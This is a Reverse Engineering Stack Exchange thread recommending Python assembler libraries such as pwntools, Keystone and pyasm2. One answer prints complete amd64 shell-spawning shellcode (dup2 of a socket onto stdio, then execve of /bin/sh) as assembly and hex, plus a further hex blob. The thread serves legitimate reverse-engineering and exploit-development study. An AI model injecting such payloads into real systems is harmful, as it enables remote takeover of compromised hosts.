It would be very useful to have a pure Python library that could assemble x86, x64, and ARM instructions. Do you have a recommendation?
I don't mind if they are not pure Python, but that'd be preferred.
Reverse Engineering Stack Exchange is a question and answer site for researchers and developers who explore the principles of a system through analysis of its structure, function, and operation. It only takes a minute to sign up.Sign up to join this community
Take a look at Gallopsled's pwntools. Does all the things you want it to, and has most of it built in already.
Here's a quick example of "I want to
dup file descriptor #4 (e.g. a connected TCP socket) to stdin/stdout/stderr, and pop a shell".
#!/usr/bin/env python from pwn import * context.arch = 'amd64' # Default architecture is i386 shellcode = shellcraft.dupio(4) + shellcraft.sh() print shellcode print '----' print enhex(asm(shellcode)) print '----' print hexdump(asm(shellcode))
dup_1: push 4 pop rbp push 3 loop_2: pop rsi dec rsi js after_3 push rsi /* call dup2('rbp', 'rsi') */ push SYS_dup2 /* 0x21 */ pop rax mov rdi, rbp syscall jmp loop_2 after_3: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push '/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push 'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall ---- 6a045d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05 ---- 00000000 6a 04 5d 6a 03 5e 48 ff ce 78 0b 56 6a 21 58 48 │j·]j│·^H·│·x·V│j!XH│ 00000010 89 ef 0f 05 eb ef 6a 68 48 b8 2f 62 69 6e 2f 2f │····│··jh│H·/b│in//│ 00000020 2f 73 50 48 89 e7 68 72 69 01 01 81 34 24 01 01 │/sPH│··hr│i···│4$··│ 00000030 01 01 31 f6 56 6a 08 5e 48 01 e6 56 48 89 e6 31 │··1·│Vj·^│H··V│H··1│ 00000040 d2 6a 3b 58 0f 05 │·j;X│··│ 00000046 0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800 0000a0e31eff2fe1
They've also got nifty command-line tools for testing shellcode. For example:
$ pwn shellcraft i386.linux.echo "Hello world" 6801010101813424736d6501686f20776f6848656c6c6a04586a015b89e16a0b5acd80
If you pipe it to a file or another program, raw binary is sent.
$ pwn shellcraft i386.linux.echo "Hello world" | xxd 00000000: 6801 0101 0181 3424 736d 6501 686f 2077 h.....4$sme.ho w 00000010: 6f68 4865 6c6c 6a04 586a 015b 89e1 6a0b ohHellj.Xj.[..j. 00000020: 5acd 80 Z..
You can print out the raw annotated assembly:
$ pwn shellcraft i386.linux.echo "Hello world" -f asm /* push 'Hello world' */ push 0x1010101 xor dword ptr [esp], 0x1656d73 push 0x6f77206f push 0x6c6c6548 /* call write('1', 'esp', 0xb) */ push SYS_write /* 4 */ pop eax push (1) /* 1 */ pop ebx mov ecx, esp push 0xb pop edx int 0x80
Or generate an ELF:
$ pwn shellcraft i386.linux.echo "Hello world" --format elf > hello $ file hello hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
And even automatically execute or debug it:
$ pwn shellcraft ... --run $ pwn shellcraft ... --debug
You can also assemble your own shellcode on the command-line:
$ pwn asm nop 90 $ pwn asm nop | xxd 00000000: 90 .
Some Python assembler libraries:
Pyasm is a full-featured dynamic assembler written entirely in Python. By dynamic, it means that it can be used to generate and execute machine code in python at runtime without requiring the generation of object files and linkage. It essentially allow 'inline' assembly in Python modules on x86 platforms.
An easy and powerful assembler engine in Python. Although it's called pyasm2, this is not per se a successor of Pyasm or pyASM. pyasm2 aims to be as flexible as possible, it will support x86, SSE and SSE2.
d00ks is an ARM assembler and simulator.
AsmJit is a complete JIT and remote assembler for C++ language. It can generate native code for x86 and x64 architectures and supports the whole x86/x64 instruction set - from legacy MMX to the newest AVX2. It has a type-safe API that allows C++ compiler to do a semantic checks at compile-time even before the assembled code is generated or run.
Today, several years after the original post and answers - There's another noteworthy package for generating machine code from assembly- Keystone.
Keystone is written in C++ but has binding for many languages (Python included), and supports multiple architectures (including x86, amd64 and ARM) so it's a perfect fit!
Quoting the website's highlighted features:
- Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, & X86 (include 16/32/64bit).
- Clean/simple/lightweight/intuitive architecture-neutral API.
- Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell & OCaml available.
- Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed).
- Thread-safe by design.
- Open source.
Additionally, if you just want something quick and easy (and don't mind using an online service) - shell-storm's online dis/assembler is also based on Keystone and Capstone